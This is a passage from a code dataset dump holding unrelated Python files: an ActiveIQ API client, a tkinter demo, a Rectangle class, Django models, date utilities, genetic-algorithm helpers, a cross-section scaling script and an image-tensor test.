dataset)\n","repo_name":"Manik2000/bachelor-thesis","sub_path":"scripts/my_own.py","file_name":"my_own.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27912333222","text":"# -*- coding: utf-8 -*-\n# ===============================\n# NetApp ActiveIQ API wrapper\n# ===============================\nimport os\nimport logging\nfrom urllib import response\nimport requests\n\nfrom urllib.parse import urljoin\n\nfrom cached_property import cached_property\n\n# Imports\nimport re\n# from requests.adapters import HTTPAdapter\nfrom urllib3.util.retry import Retry\nfrom urllib.error import HTTPError\nimport warnings\nfrom six import string_types\n\n\n\ntry:\n import simplejson as json\nexcept ImportError:\n import json\n\nimport var_dump\n# Base API wrapper class\n\nfrom .apis import ClusterView \nfrom .apis import System\n\nclass ActiveIQClient(object):\n \"\"\"\n ActiveIQ is wrapper for NetApp ActiveIQ API.\n \"\"\"\n\n # clusterview = ClusterView\n # systems = System \n\n def __init__(self, refresh_token: str, access_token: str = None\n ):\n self._base_url = 'https://api.activeiq.netapp.com'\n\n if not refresh_token:\n raise ValueError(\"Refresh Token must be provided. You can obtain one for free at {}\".format(self._base_url))\n\n if refresh_token and not isinstance(refresh_token, string_types):\n raise TypeError(\"refresh_token parameter must be a string value\")\n\n if access_token and not isinstance(access_token, string_types):\n raise TypeError(\"access_token parameter must be a string value\")\n\n self.access_token = access_token\n self.refresh_token = refresh_token\n\n def get_refresh_token(self):\n \"\"\"Manual refresh.\"\"\"\n refresh_url = self._url('v1/tokens/accessToken')\n\n headers = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\",\n }\n\n payload = {\n \"refresh_token\": self.refresh_token\n }\n\n r = requests.post(refresh_url,json=payload,headers=headers)\n r.raise_for_status()\n\n logging.debug(\"Request to fetch token completed with status %s.\", r.status_code)\n logging.debug(\"Request url was %s\", r.request.url)\n logging.debug(\"Request headers were %s\", r.request.headers)\n logging.debug(\"Request body was %s\", r.request.body)\n logging.debug(\"Response headers were %s and content %s.\", r.headers, r.text)\n\n if r.status_code == 200:\n logging.debug('Successfully obtained new tokens')\n json_response = r.json()\n logging.debug(json_response)\n if 'access_token' in json_response:\n self.access_token = json_response.get('access_token')\n logging.debug(\"Obtained access_token %s.\", self.access_token)\n\n if 'refresh_token' in json_response:\n self.refresh_token = json_response.get('refresh_token')\n logging.debug(\"Obtained refresh_token %s.\", self.refresh_token)\n else:\n logging.error(\"Error: %s\", r.text)\n exit\n\n # def _get_url(self, endpoint):\n # #endpoint should always start with a /\n # return 'https://{}{}'.format(self.server, endpoint)\n\n # def _get_response(self, url):\n # headers = {\n # \"Accept\": \"application/json\",\n # 'authorizationtoken': self.access_token\n # }\n\n # try:\n # r = request.get(url, headers=headers)\n\n # if r.status_code == 401:\n # # Calling an API with an expired access token will result in a\n # # HTTP status code of 401 (Unauthorized).\n # raise TokenExpiredError\n\n # except TokenExpiredError as e:\n # self.get_refresh_token()\n # r = self._get_responce(url)\n\n # if r.status_code == 200:\n # return r.message \n\n # return None\n\n # def fetch_data(self, endpoint):\n # url = self._get_url(endpoint)\n # r = self._get_responce(url)\n # return self.__adapt_response_content(r)\n\n def _url(self, *path):\n url = self._base_url\n for p in path:\n url = urljoin(url, p)\n logging.debug(\"_url: %s.\", url)\n return url\n\n # def _cursor_iterator(self, response_json, path, method, data, headers):\n # for i in response_json['items']:\n # yield i\n\n # data = dict(data or {})\n\n # while 'cursor' in response_json:\n # data['cursor'] = response_json['cursor']\n # response = self._raw_request(path, method, data, headers)\n # response.raise_for_status()\n # response_json = response.json()\n # for i in response_json['items']:\n # yield i\n\n def _raw_request(self, path, method='GET', data=None, headers=None):\n url = self._url(path)\n headers = headers or {}\n headers['Accept'] ='application/json'\n headers['authorizationtoken'] = '%s' % self.access_token\n if method == 'GET':\n return requests.get(url, params=data, headers=headers)\n\n if method == 'POST':\n return requests.post(url, json=data, headers=headers)\n\n if method == 'PUT':\n return requests.put(url, json=data, headers=headers)\n\n if method == 'PATCH':\n return requests.patch(url, json=data, headers=headers)\n\n if method == 'DELETE':\n return requests.delete(url, json=data, headers=headers)\n\n raise ValueError('Unsupported method \"%s\"' % method)\n \n def request(self, path, method='GET', data=None, headers=None):\n logging.debug('request path: %s', path)\n try: \n response = self._raw_request(path, method, data, headers)\n response.raise_for_status()\n\n except requests.exceptions.HTTPError:\n if response.status_code == 401 :\n self.get_refresh_token()\n response = self.request(path, method, data, headers)\n else:\n raise requests.exceptions.HTTPError\n \n return self.__adapt_response_content(response)\n\n def __adapt_response_content(self, response):\n \"\"\"\n Check if response is a JSON and return it. Otherwise - return raw content\n :param response: Requests response\n :return: {} or raw content\n \"\"\"\n if response is None:\n return {}\n\n # in case request() is called recursively, the response is already a dict object\n # so json.loads will fail\n if isinstance(response, dict):\n return response\n\n try:\n responseBody = json.loads(response.text)\n except:\n return response.content\n\n return responseBody\n\n @cached_property\n def system(self):\n return System(self)\n","repo_name":"woutercoppens/activeiq-sdk","sub_path":"activeiq/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":6646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"19986304620","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# Импортируем наши классы Tk, Frame, BOTH (как в первом примере) и вдобавок к ним - Button, messagebox.\nfrom tkinter import Tk, Frame, BOTH, Button, messagebox\n\n\n# Класс в нашем примере унаследован от виджета контейнера Frame. Используя конструкторский метод __init__() мы можем\n# обращаться к конструктору нашего унаследованного класса. Параметр background определяет цвет виджета Frame.\nclass Example(Frame):\n def __init__(self, parent):\n Frame.__init__(self, parent, background=\"white\")\n # Мы сохраняем ссылку на родительский виджет. В нашем случае родительским виджетом выступает корневое окно Tk.\n self.parent = parent\n # Мы делегируем создание пользовательского интерфейса методу create_menu()\n self.create_menu()\n\n # Создаем блок подпрограммы close(), который будет запускаться по нажатию кнопки \"Выход\" и выдавать модальное\n # окно с подтверждением - messagebox.askyesno('Название окна', 'Фраза для пользователя'). В случае подтверждения\n # - программа закроется с помощью функции - parent.destroy(), иначе действие будет отменено.\n def close(self):\n if messagebox.askyesno('Выход', 'Вы уверены?'):\n self.parent.destroy()\n elif messagebox.showinfo('Выход', \"Выход отменен\"):\n pass\n\n # Метод pack() является одним из трех менеджеров геометрии в Tkinter. Именно он отвечает за горизонтальное и\n # вертикальное размещение виджетов. На примере мы используем виджет Frame, доступ к которому получен атрибутом к\n # корневому окну Tk. Он расширяется в обоих направлениях. Иными словами, он занимает все клиентское пространство\n # корневого окна.\n def create_menu(self):\n self.pack(fill=BOTH, expand=1)\n # Создаем образец виджета Button (кнопки). Контейнер Frame является родительским для этой кнопки. Команда\n # определяет использующийся метод при нажатии на кнопку. В нашем случае используется подпрограмма close(),\n # которая завершает работу приложения. Также мы используем менеджер геометрии place для того,\n # чтобы установить координаты x, y (пикселей) для расположения кнопки от верхнего левого угла окна.\n self.btn_exit = Button(text=\"Выход\", height=2, width=12, command=self.close)\n self.btn_exit.place(x=25, y=195)\n\n\nif __name__ == '__main__':\n root = Tk()\n root.title(\"Пример 2 - Кнопка выхода со всплывающим модальным окном подтверждения\")\n root.geometry(\"825x500+250+100\")\n app = Example(root)\n root.mainloop()\n","repo_name":"mahesvaraa/Study-repos","sub_path":"Stepik.org/Python-GUI-editor/example2.py","file_name":"example2.py","file_ext":"py","file_size_in_byte":3777,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"6141574017","text":"#!/usr/bin/python3\n\"\"\"This Defines a rectangle class.\"\"\"\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n \"\"\"This Represent a rectangle.\"\"\"\n\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\"This Initialize a new Rectangle.\n Args:\n width (int): The width of the new Rectangle.\n height (int): The height of the new Rectangle.\n x (int): The x coordinate of the new Rectangle.\n y (int): The y coordinate of the new Rectangle.\n id (int): The identity of the new Rectangle.\n Raises:\n TypeError: If either of width or height is not an int.\n ValueError: If either of width or height <= 0.\n TypeError: If either of x or y is not an int.\n ValueError: If either of x or y < 0.\n \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n @property\n def width(self):\n \"\"\"This Set/get the width of the Rectangle.\"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n if type(value) != int:\n raise TypeError(\"width must be an integer\")\n if value <= 0:\n raise ValueError(\"width must be > 0\")\n self.__width = value\n\n @property\n def height(self):\n \"\"\"This Set/get the height of the Rectangle.\"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n if type(value) != int:\n raise TypeError(\"height must be an integer\")\n if value <= 0:\n raise ValueError(\"height must be > 0\")\n self.__height = value\n\n @property\n def x(self):\n \"\"\"This Set/get the x coordinate of the Rectangle.\"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n if type(value) != int:\n raise TypeError(\"x must be an integer\")\n if value < 0:\n raise ValueError(\"x must be >= 0\")\n self.__x = value\n\n @property\n def y(self):\n \"\"\"This Set/get the y coordinate of the Rectangle.\"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n if type(value) != int:\n raise TypeError(\"y must be an integer\")\n if value < 0:\n raise ValueError(\"y must be >= 0\")\n self.__y = value\n\n def area(self):\n \"\"\"This Return the area of the Rectangle.\"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\"This Print the Rectangle using the `#` character.\"\"\"\n if self.width == 0 or self.height == 0:\n print(\"\")\n return\n\n [print(\"\") for one in range(self.y)]\n for two in range(self.height):\n [print(\" \", end=\"\") for x in range(self.x)]\n [print(\"#\", end=\"\") for w in range(self.width)]\n print(\"\")\n\n def update(self, *args, **kwargs):\n \"\"\"This Update the Rectangle.\n Args:\n *args (ints): New attribute values.\n - first argument represents id attribute\n - second argument represents width attribute\n - third argument represent height attribute\n - fourth argument represents x attribute\n - fifth argument represents y attribute\n **kwargs (dict): New key/value pairs of attributes.\n \"\"\"\n if args and len(args) != 0:\n one = 0\n for arg in args:\n if one == 0:\n if arg is None:\n self.__init__(self.width, self.height, self.x, self.y)\n else:\n self.id = arg\n elif one == 1:\n self.width = arg\n elif one == 2:\n self.height = arg\n elif one == 3:\n self.x = arg\n elif one == 4:\n self.y = arg\n one += 1\n\n elif kwargs and len(kwargs) != 0:\n for one, two in kwargs.items():\n if one == \"id\":\n if two is None:\n self.__init__(self.width, self.height, self.x, self.y)\n else:\n self.id = two\n elif one == \"width\":\n self.width = two\n elif one == \"height\":\n self.height = two\n elif one == \"x\":\n self.x = two\n elif one == \"y\":\n self.y = two\n\n def to_dictionary(self):\n \"\"\"This Return the dictionary representation of a Rectangle.\"\"\"\n return {\n \"id\": self.id,\n \"width\": self.width,\n \"height\": self.height,\n \"x\": self.x,\n \"y\": self.y\n }\n\n def __str__(self):\n \"\"\"This Return the print() and str() representation of the Rectangle.\"\"\"\n return \"[Rectangle] ({}) {}/{} - {}/{}\".format(self.id,\n self.x, self.y,\n self.width, self.height)\n","repo_name":"firaoltulu/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":5064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24680303601","text":"# This Python file uses the following encoding: utf-8\nfrom PyQt5 import QtWidgets\nimport datetime\n\nclass MedicalDB_record:\n def __init__(self, aDate, aTimeOfDay, aTemperature, aPulse, aSystol, aDiastol):\n self.Date = aDate\n self.TimeOfDay = aTimeOfDay\n self.Temperature = aTemperature\n self.Pulse = aPulse\n self.Systol = aSystol\n self.Diastol = aDiastol\n\n def __eq__(self, other):\n return ((self.Date == other.Date) and\n (self.TimeOfDay == other.TimeOfDay) and\n (self.Temperature == other.Temperature) and\n (self.Pulse == other.Pulse) and\n (self.Systol == other.Systol) and\n (self.Diastol == other.Diastol))\n\n def show(self):\n print(self.Date, self.TimeOfDay, self.Temperature, self.Pulse, self.Systol, self.Diastol)\n","repo_name":"alakiza/PythonProj","sub_path":"MedDB/MedicalDB_record.py","file_name":"MedicalDB_record.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19705769902","text":"from django.db import models\r\n\r\n# Create your models here.\r\nclass OrderInfo(models.Model):\r\n oid = models.CharField(max_length=20,primary_key=True)\r\n user = models.ForeignKey('reg.User',on_delete=models.CASCADE)\r\n odate = models.DateTimeField(auto_now=True)\r\n oispay = models.BooleanField(default=False)\r\n total = models.DecimalField(max_digits=10,decimal_places=2)\r\n oaddress = models.CharField(max_length=200,default='')\r\n\r\n\r\nclass Orderdetailinfo(models.Model):\r\n gid = models.ForeignKey('goods.goods',on_delete=models.CASCADE)\r\n orid = models.ForeignKey(OrderInfo,on_delete=models.CASCADE)\r\n price = models.DecimalField(max_digits=10,decimal_places=2)\r\n count = models.IntegerField()\r\n\r\n","repo_name":"niansir/fresh_demo","sub_path":"order/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"8240175012","text":"import pandas as pd\nfrom pandas import Timestamp\n\nfrom datetime import datetime, timedelta\nfrom dateutil.relativedelta import relativedelta\n\nstrptime = datetime.strptime\n\n\ndef date_diff(start_date: str,end_date: str,method: str = 'd'):\n \"\"\"\n 根据输入的开始日期和结束日期,计算日期差、月份差、年份差,并保留2位小数\n Args:\n start_date: str,开始日期,字符串格式的日期,yyyy-mm-dd格式\n end_date: str,结束日期,字符串格式的日期,yyyy-mm-dd格式\n method: str,计算方法,d-日期差,m-月份差,y-年份差,默认为日期差\n\n Returns:\n int/float,计算日期差、月份差、年份差,计算日期差时返回int,否则返回float\n \"\"\"\n # 计算日期差\n if method == 'd':\n date1 = strptime(start_date, '%Y-%m-%d')\n date2 = strptime(end_date, '%Y-%m-%d')\n return int((date2 - date1).days)\n\n # 计算月份差\n elif method == 'm':\n if len(start_date) < 10 or len(end_date) < 10:\n date1 = strptime(start_date[0:7], '%Y-%m')\n date2 = strptime(end_date[0:7], '%Y-%m')\n else:\n date1 = strptime(start_date, '%Y-%m-%d')\n date2 = strptime(end_date, '%Y-%m-%d')\n\n from dateutil.relativedelta import relativedelta\n delta = relativedelta(date2, date1)\n return round(delta.years * 12 + delta.months + delta.days / 30, 2)\n\n # 计算年份差\n elif method == 'y':\n if len(start_date) < 10 or len(end_date) < 10:\n date1 = strptime(start_date[0:7], '%Y-%m')\n date2 = strptime(end_date[0:7], '%Y-%m')\n else:\n date1 = strptime(start_date, '%Y-%m-%d')\n date2 = strptime(end_date, '%Y-%m-%d')\n\n from dateutil.relativedelta import relativedelta\n delta = relativedelta(date2, date1)\n return round(delta.years + delta.months / 12 + delta.days / 365, 2)\n else:\n raise ValueError('输入错误, 不支持的method:{} '.format(method))\n\n\ndef add_months(date, months):\n \"\"\"\n 根据给定的日期和月份差,计算目标日期结果\n Args:\n date:yyyy-mm-dd格式字符串 或 datetime 格式日期\n months:int,需要计算的月份差\n Returns:\n 返回日期格式的结果\n \"\"\"\n if type(date) == str:\n date_fmt = strptime(date, '%Y-%m-%d')\n else:\n date_fmt = date\n\n from dateutil.relativedelta import relativedelta\n result = date_fmt + relativedelta(months=months)\n return result\n\n\ndef year_start(date):\n \"\"\"\n 返回给定日期对应年份的第一天,例如 xxxx-01-01\n Args:\n date:yyyy-mm-dd格式字符串 或 datetime 格式日期\n\n Returns:\n\n \"\"\"\n if type(date) == str:\n date_fmt = strptime(date, '%Y-%m-%d')\n else:\n date_fmt = date\n result = date_fmt.replace(month=1, day=1)\n return result\n\n\ndef year_end(date):\n \"\"\"\n 返回给定日期对应年份的最后一天,例如 xxxx-12-01\n Args:\n date:给定的字符串 或 datetime 格式日期\n\n Returns:\n\n \"\"\"\n if type(date) == str:\n date_fmt = strptime(date, '%Y-%m-%d')\n else:\n date_fmt = date\n result = date_fmt.replace(month=12, day=31)\n return result\n\n\ndef month_start(date):\n \"\"\"\n 返回给定日期对应月份的第一天的日期\n Args:\n date: 给定的字符串 或 datetime 格式日期\n\n Returns:\n 当月最后一天\n \"\"\"\n if isinstance(date, str):\n date_fmt = strptime(date, '%Y-%m-%d')\n else:\n date_fmt = date\n result = date_fmt.replace(day=1)\n return result\n\n\ndef month_end(date):\n \"\"\"\n 返回给定日期对应月份的最后一天的日期\n Args:\n date: 给定的字符串 或 datetime 格式日期\n\n Returns:\n 当月最后一天\n \"\"\"\n if type(date) == str:\n date_fmt = strptime(date, '%Y-%m-%d')\n else:\n date_fmt = date\n from dateutil.relativedelta import relativedelta\n result = date_fmt + relativedelta(months=1, day=1) + timedelta(days=-1)\n return result\n\n\ndef month_diff(start_date: str,end_date: str, method: str = ''):\n \"\"\"\n 根据结束日期和开始日期,计算两个日期相差的月份数\n Args:\n end_date:str,datetime,pd.Series,结束日期\n start_date:str,datetime,pd.Series,开始日期\n method:计算方法,'mm':表示将月份差计算时不计算日期,使用对应月份的1日进行计算月份差\n Returns:\n float,返回两个日期相差的月份数,保留2位小数\n \"\"\"\n if method == 'mm':\n if isinstance(start_date, str):\n start = strptime(start_date, '%Y-%m-%d').replace(day=1)\n else:\n start = start_date.replace(day=1)\n\n if isinstance(end_date, str):\n end = strptime(end_date, '%Y-%m-%d').replace(day=1)\n else:\n end = end_date.replace(day=1)\n\n if not isinstance(start_date,pd.Series) or not isinstance(end_date,pd.Series):\n delta = relativedelta(end, start)\n result = delta.years * 12 + delta.months\n else:\n r = []\n for x, y in zip(start, end):\n delta = relativedelta(y, x)\n r.append(delta.years * 12 + delta.months)\n result = pd.Series(r)\n return result\n\n else:\n if isinstance(start_date, str):\n start = strptime(start_date, '%Y-%m-%d')\n elif type(start_date) == pd.Series:\n start = pd.to_datetime(start_date)\n else:\n start = start_date\n\n if isinstance(end_date, str):\n end = strptime(end_date, '%Y-%m-%d')\n elif type(end_date) == pd.Series:\n end = pd.to_datetime(end_date)\n else:\n end = end_date\n\n if not isinstance(start_date,pd.Series) or not isinstance(end_date,pd.Series):\n delta = relativedelta(end, start)\n result = round(delta.years * 12 + delta.months + delta.days / 30, 2)\n else:\n r = []\n for x, y in zip(start, end):\n delta = relativedelta(y, x)\n r.append(round(delta.years * 12 + delta.months + delta.days / 30, 2))\n result = pd.Series(r)\n return result\n","repo_name":"stat-fit/westat","sub_path":"westat/utils/datetime.py","file_name":"datetime.py","file_ext":"py","file_size_in_byte":6313,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"11"} +{"seq_id":"5685406515","text":"import numpy as np\nimport copy\n\ndef apply_generation_filter(sorted_circuit_str_l, generation_size, compression= False):\n \"\"\"\n This function calculates the probabilities that the circuit should be kept or not\n using the Fermi-Dirac distribution and then returns the inst of indices of the circuits\n to keep and replace\n\n param: sorted_circuit_data_l (list ) -> a list containing the string representation of the circuits\n sorted according to their fitness value\n param: generation_size (int) -> number of circuits in a particular generation\n\n e.g.:\n input:\n sorted_circuit_data_l ->\n generation_size -> 10\n\n output: (these might change based on the probabilities)\n to_keep ->\n to_replace ->\n \"\"\"\n # Get the probabilities that a circuits with a given fitness will be replaced\n # a fermi function is used to smoothen the transition\n positions = np.array(range(0, len(sorted_circuit_str_l))) - 0.5*float(len(sorted_circuit_str_l))\n probabilities = None\n if compression:\n to_replace = list(range(1,len(sorted_circuit_str_l)))# all circuits that are replaced\n to_keep = [0]\n return to_replace, to_keep\n else:\n probabilities = 1.0 / (1.0 + np.exp(-0.1 * generation_size * positions / float(len(sorted_circuit_str_l))))\n \"\"\"import matplotlib.pyplot as plt\n plt.plot(positions, probabilities)\n plt.show()\n raise Exception(\"test\")\"\"\"\n to_replace = [] # all circuits that are replaced\n to_keep = [] # all circuits that are kept\n for idx in range(0,len(sorted_circuit_str_l)):\n if np.random.rand(1) < probabilities[idx]:\n to_replace.append(idx)\n else:\n to_keep.append(idx)\n\n return to_replace, to_keep\n\ndef compress_circuit_str(circuit_data):\n \"\"\"\n\n \"\"\"\n new_data = copy.deepcopy(circuit_data)\n circuit_data = sort_by_qubits(circuit_data)\n\n #removing duplicates\n prev_data = circuit_data[0]\n prev_data = \"\".join(map(str, prev_data))\n for data in circuit_data[1:]:\n curr_data_str = \"\".join(map(str, data))\n if curr_data_str == prev_data:\n new_data.remove(data)\n #return True\n else:\n prev_data = curr_data_str\n\n return new_data, False\n\ndef sort_by_qubits(circuit_data):\n \"\"\"\n\n \"\"\"\n circuit_data = sorted(circuit_data, key=lambda item: item[0])\n return circuit_data\n\ndef pick_mutation(list_of_choices):\n \"\"\"\n This function samples randomly from the list and return the corresponding string\n \"\"\"\n #add more later\n mutation_list = ['add']\n full_mutation_l = ['add', 'replace', 'remove', 'repeat']\n compress_mutation_l = ['remove']\n choice = random_choice(list_of_choices)\n if choice == 0:\n return random_choice(mutation_list)\n elif choice == 1:\n return random_choice(full_mutation_l)\n else:\n return random_choice(compress_mutation_l)\n","repo_name":"AbhinavUofT/GA_for_encoder","sub_path":"GA_utils.py","file_name":"GA_utils.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"28723317025","text":"import pynurex as nurex\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# example how to scale neutron removals, ie to match 1n removal cross section\n\n## define model config object\nmodel_config = {\"model\":\"OLAZR_FM\", # model type\n \"projectile\":\"12c\", # projectile, in this case default builtin 12C will be used\n \"target\":{ # target is also 12C but now with custom nuclear densitiesm in this case HO type\n \"nucleus\":\"12c\",\n \"proton_density\":{\"type\":\"ho\", \"parameters\":[1.548415436,1.6038565]},\n \"neutron_density\":{\"type\":\"ho\", \"parameters\":[1.548415436,1.6038565]}\n },\n \"charge_changing_correction\":\"evaporation\",\n \"coulomb_correction\":\"classic\", # or \"none\" or \"sommerfeld\", if not specified none is used\n \"level_density\":\"GC_GEM\"\n }\n\n# now make model nodel with default setting, ie no scaling\ngm = nurex.make_model(model_config)\n\n# we can calculate charge changing cross section for multiple energies\nenergy = 350.0\ncccs = gm.sigma_cc(energy)\nincs = gm.sigma_ins(energy) # incs is array of primary neutron removals, incs[0] corresponds to 1n removal\nnevap = gm.n_removals_evaporation() #Total evaporation probability and charged-particle evaporation probabilities for i-neutron removals\n\nprint(\"--- Default Setting ---\")\nprint(f\"Energy = {energy} MeV/u\")\nprint(f\"sigma_cc = {cccs} mb\")\nfor i in range(len(incs)):\n Pt = nevap[\"Ptot\"][i] \n nrcs = incs[i] * (1-Pt)\n if(Pt<0):continue\n print(f\"{i+1}n removal = {incs[i]} mb, Ptot = {Pt}, {i+1}n removal exp = {nrcs} mb\")\n\nn_removal_0 = incs[0] * (1-nevap[\"Ptot\"][0]) # save original neutron removal calculation\n\n## now setup up n-removal scaling\nmodel_config[\"n_removal_scaling\"] = 0.6 # all n-renovals will be scaled by 0.7, choose scaling to reproduce ie 1n removal\ngm2 = nurex.make_model(model_config)\ncccs = gm2.sigma_cc(energy)\nincs = gm2.sigma_ins(energy) # incs is array of primary neutron removals, incs[0] corresponds to 1n removal\nnevap = gm2.n_removals_evaporation() #Total evaporation probability and charged-particle evaporation probabilities for i-neutron removals\n\nprint(\"--- Scaled N-Removals ---\")\nprint(f\"Energy = {energy} MeV/u\")\nprint(f\"sigma_cc = {cccs} mb\")\nfor i in range(len(incs)):\n Pt = nevap[\"Ptot\"][i] \n nrcs = incs[i] * (1-Pt)\n if(Pt<0):continue\n print(f\"{i+1}n removal = {incs[i]} mb, Ptot = {Pt}, {i+1}n removal exp = {nrcs} mb\")\n\n\n# how to setup scaling to reprodice 1n removal experimental cross section\n## not setup up n-removal scaling\nn_removal_exp = 42.0 # lets reproduce this\nn_scaling = n_removal_exp/n_removal_0\nmodel_config[\"n_removal_scaling\"] = n_scaling # all n-renovals will be scaled by 0.7, choose scaling to reproduce ie 1n removal\ngm3 = nurex.make_model(model_config)\ncccs = gm3.sigma_cc(energy)\nincs = gm3.sigma_ins(energy) # incs is array of primary neutron removals, incs[0] corresponds to 1n removal\nnevap = gm3.n_removals_evaporation() #Total evaporation probability and charged-particle evaporation probabilities for i-neutron removals\n\nprint(\"--- Scaled N-Removals to reproduce 1n removal---\")\nprint(f\"n_removal_scaling = {n_scaling}\")\nprint(f\"Energy = {energy} MeV/u\")\nprint(f\"sigma_cc = {cccs} mb\")\nfor i in range(len(incs)):\n Pt = nevap[\"Ptot\"][i] \n nrcs = incs[i] * (1-Pt)\n if(Pt<0):continue\n print(f\"{i+1}n removal = {incs[i]} mb, Ptot = {Pt}, {i+1}n removal exp = {nrcs} mb\")","repo_name":"hrosiak/nurex","sub_path":"examples/neutron_removals_scaling.py","file_name":"neutron_removals_scaling.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72669731546","text":"\nimport os\nimport csv\nimport random\nimport time\n\nos.chdir('/path/to/my/dir')\n\nx_value = 0\ntotal_1 = 1000\ntotal_2 = 1000\n\nfieldnames = [\"x_value\", \"total_1\", \"total_2\"]\n\n# opening the file and renaming it :\nwith open('live_data.csv', 'w') as csv_file:\n csv_writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n csv_writer.writeheader()\n# continuously adding to it\nwhile True:\n\n with open('live_data.csv', 'a') as csv_file:\n csv_writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n\n info = {\n \"x_value\": x_value,\n \"total_1\": total_1,\n \"total_2\": total_2\n }\n\n csv_writer.writerow(info)\n print(x_value, total_1, total_2)\n\n x_value += 1\n total_1 = total_1 + random.randint(-6, 8)\n total_2 = total_2 + random.randint(-5, 6)\n\n time.sleep(1)\n","repo_name":"Ivanbhub/Practice_repo","sub_path":"Jupyter/Matplotlib/Live_Data/create_csv_file_script.py","file_name":"create_csv_file_script.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14314490914","text":"import numpy as np\nimport pytest\nimport torch\nfrom torchvision.utils import make_grid\n\nfrom mmgen.models.misc import tensor2img\n\n\ndef test_tensor2img():\n tensor_4d_1 = torch.FloatTensor(2, 3, 4, 4).uniform_(0, 1)\n tensor_4d_2 = torch.FloatTensor(1, 3, 4, 4).uniform_(0, 1)\n tensor_4d_3 = torch.FloatTensor(3, 1, 4, 4).uniform_(0, 1)\n tensor_4d_4 = torch.FloatTensor(1, 1, 4, 4).uniform_(0, 1)\n tensor_3d_1 = torch.FloatTensor(3, 4, 4).uniform_(0, 1)\n tensor_3d_2 = torch.FloatTensor(3, 6, 6).uniform_(0, 1)\n tensor_3d_3 = torch.FloatTensor(1, 6, 6).uniform_(0, 1)\n tensor_2d = torch.FloatTensor(4, 4).uniform_(0, 1)\n\n with pytest.raises(TypeError):\n # input is not a tensor\n tensor2img(4)\n with pytest.raises(TypeError):\n # input is not a list of tensors\n tensor2img([tensor_3d_1, 4])\n with pytest.raises(ValueError):\n # unsupported 5D tensor\n tensor2img(torch.FloatTensor(2, 2, 3, 4, 4).uniform_(0, 1))\n\n # 4d\n rlt = tensor2img(tensor_4d_1, out_type=np.uint8, min_max=(0, 1))\n tensor_4d_1_np = make_grid(tensor_4d_1, nrow=1, normalize=False).numpy()\n tensor_4d_1_np = np.transpose(tensor_4d_1_np[[2, 1, 0], :, :], (1, 2, 0))\n np.testing.assert_almost_equal(rlt, (tensor_4d_1_np * 255).round())\n\n rlt = tensor2img(tensor_4d_2, out_type=np.uint8, min_max=(0, 1))\n tensor_4d_2_np = tensor_4d_2.squeeze().numpy()\n tensor_4d_2_np = np.transpose(tensor_4d_2_np[[2, 1, 0], :, :], (1, 2, 0))\n np.testing.assert_almost_equal(rlt, (tensor_4d_2_np * 255).round())\n\n rlt = tensor2img(tensor_4d_3, out_type=np.uint8, min_max=(0, 1))\n tensor_4d_3_np = make_grid(tensor_4d_3, nrow=1, normalize=False).numpy()\n tensor_4d_3_np = np.transpose(tensor_4d_3_np[[2, 1, 0], :, :], (1, 2, 0))\n np.testing.assert_almost_equal(rlt, (tensor_4d_3_np * 255).round())\n\n rlt = tensor2img(tensor_4d_4, out_type=np.uint8, min_max=(0, 1))\n tensor_4d_4_np = tensor_4d_4.squeeze().numpy()\n np.testing.assert_almost_equal(rlt, (tensor_4d_4_np * 255).round())\n\n # 3d\n rlt = tensor2img([tensor_3d_1, tensor_3d_2],\n out_type=np.uint8,\n min_max=(0, 1))\n tensor_3d_1_np = tensor_3d_1.numpy()\n tensor_3d_1_np = np.transpose(tensor_3d_1_np[[2, 1, 0], :, :], (1, 2, 0))\n tensor_3d_2_np = tensor_3d_2.numpy()\n tensor_3d_2_np = np.transpose(tensor_3d_2_np[[2, 1, 0], :, :], (1, 2, 0))\n np.testing.assert_almost_equal(rlt[0], (tensor_3d_1_np * 255).round())\n np.testing.assert_almost_equal(rlt[1], (tensor_3d_2_np * 255).round())\n\n rlt = tensor2img(tensor_3d_3, out_type=np.uint8, min_max=(0, 1))\n tensor_3d_3_np = tensor_3d_3.squeeze().numpy()\n np.testing.assert_almost_equal(rlt, (tensor_3d_3_np * 255).round())\n\n # 2d\n rlt = tensor2img(tensor_2d, out_type=np.uint8, min_max=(0, 1))\n tensor_2d_np = tensor_2d.numpy()\n np.testing.assert_almost_equal(rlt, (tensor_2d_np * 255).round())\n rlt = tensor2img(tensor_2d, out_type=np.float32, min_max=(0, 1))\n np.testing.assert_almost_equal(rlt, tensor_2d_np)\n\n rlt = 